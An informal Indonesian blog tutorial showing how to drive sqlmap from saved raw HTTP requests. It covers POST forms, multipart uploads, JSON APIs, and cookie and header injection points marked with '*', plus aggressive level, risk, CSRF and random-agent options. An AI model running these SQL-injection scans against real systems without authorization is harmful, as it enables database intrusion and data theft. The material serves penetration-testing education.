Pakai sqlmap dari Raw Request File buat POST, Upload, dan Header

Pakai sqlmap dari Raw Request File buat POST, Upload, dan Header

Cara pakai sqlmap lewat raw request file (-r) buat POST biasa, multipart upload, JSON, cookie, dan custom header. Lebih enak daripada ngetik manual.

Kalau mau pakai sqlmap dari request mentah, enaknya begini

Gue paling sering pakai -r kalau request-nya udah ribet: ada form POST, upload file, cookie, atau header custom. Jadi tinggal simpan request mentah ke file, lalu lempar ke sqlmap. Simpel dan nggak perlu ngetik ulang satu-satu.

Intinya, -r itu buat load raw HTTP request dari file. Cocok banget kalau request-nya hasil copy dari Burp Suite, ZAP, atau DevTools.

Masalah yang sering bikin bingung

  • Parameter nggak ke-detect karena request-nya cuma URL biasa.
  • Mau test header, tapi sqlmap malah nggak nyentuh header itu.
  • Upload multipart susah ditulis manual.
  • Ada token yang berubah-ubah, jadi request gampang gagal.

Solusi paling aman: pakai file request mentah

Bikin file misalnya request.txt, lalu isi dengan request asli. Setelah itu jalankan sqlmap dengan -r.

sqlmap -r request.txt --batch

Kalau mau lebih agresif dan sekalian nyoba header atau cookie, naikkan level dan risk-nya.

sqlmap -r request.txt --level=3 --risk=2 --batch

Contoh 1: POST form biasa

Kalau form-nya model application/x-www-form-urlencoded, formatnya kira-kira begini:

POST /login.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
Content-Type: application/x-www-form-urlencoded
Connection: close

username=admin*&password=test123&submit=Login

Tanda * itu penanda titik injection. Gue biasanya taruh di value yang pengin dites.

sqlmap -r login.txt --batch

Contoh 2: multipart upload atau attachment

Ini yang sering kepakai kalau ada upload file. Format raw request-nya memang agak panjang, tapi justru enak kalau disimpan utuh.

POST /upload.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxk
Connection: close

------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="title"

laporan_bulanan*
------WebKitFormBoundary7MA4YWxk
Content-Disposition: form-data; name="file"; filename="report.pdf"
Content-Type: application/pdf

%PDF-1.4
1 0 obj
<<
/Type /Catalog
>>
endobj
%%EOF
------WebKitFormBoundary7MA4YWxk--

Kalau pengin nyoba di nama file, tinggal ubah jadi filename="report*.pdf".

sqlmap -r upload.txt --level=3 --risk=2

Contoh 3: POST JSON

Buat API, raw request juga bisa dipakai. Tinggal pastikan body JSON-nya valid.

POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1Qi...
Connection: close

{"search":"admin*","category":"users","limit":10}
sqlmap -r api.txt --batch

Kalau parameternya ada di cookie atau header custom, raw request file juga bisa bantu. Tapi ingat, sqlmap biasanya baru lebih rajin ngetes header kalau level-nya dinaikkan.

POST /dashboard/query HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=abc123; role=admin*
X-Forwarded-For: 192.168.1.1*
Content-Type: application/x-www-form-urlencoded
Connection: close

id=1*&action=view&token=xyz

Kalau sqlmap nggak nemu parameter

Biasanya masalahnya simpel: titik injection belum ditandai. Coba kasih * manual di value yang mau dites.

  • Di body POST: username=admin*
  • Di filename upload: filename="report*.pdf"
  • Di cookie: role=admin*
  • Di header: X-Forwarded-For: 127.0.0.1*

Kalau ada CSRF token

Ini juga sering bikin request gagal kalau token-nya berubah terus. Kalau memang ada field token, sqlmap bisa dibantu pakai opsi CSRF.

sqlmap -r request.txt --csrf-token="csrf_token" --batch

Kalau token diambil dari URL lain, biasanya perlu --csrf-url. Tapi ini tergantung alur aplikasinya.

Kalau HTTPS atau sertifikatnya aneh

Kalau ketemu sertifikat yang bikin ribet, kadang perlu pakai opsi force SSL.

sqlmap -r request.txt --force-ssl --batch

Catatan kecil yang kepake banget

  • -r paling enak buat request kompleks.
  • --level=2 ke atas bikin header dan cookie lebih mungkin dites.
  • --risk=2 atau 3 bikin payload lebih agresif, jadi pakai seperlunya.
  • -p nama_param berguna kalau mau fokus ke satu parameter aja.
  • --random-agent kadang bantu kalau ada filter yang terlalu sensitif.

Command yang sering gue pakai

# Basic
sqlmap -r request.txt --batch

# Lebih agresif
sqlmap -r request.txt --level=3 --risk=2 --batch

# Fokus ke satu parameter
sqlmap -r request.txt -p "username" --batch

# Kalau ada token CSRF
sqlmap -r request.txt --csrf-token="csrf_token" --batch

Penutup

Kalau targetnya request POST, upload file, atau header custom, pakai raw request file itu jauh lebih waras daripada ngoprek parameter satu-satu dari nol. Gue pribadi paling sering mulai dari Burp, simpan request-nya, terus mainin -r sampai ketemu titik yang pas.

Kalau lu punya contoh request spesifik, sensor aja host atau IP-nya, terus kirim. Nanti bisa gue bantu rapihin jadi format yang siap dipakai.

Tags: Catatan Teknis, sqlmap, pentest, request raw, upload file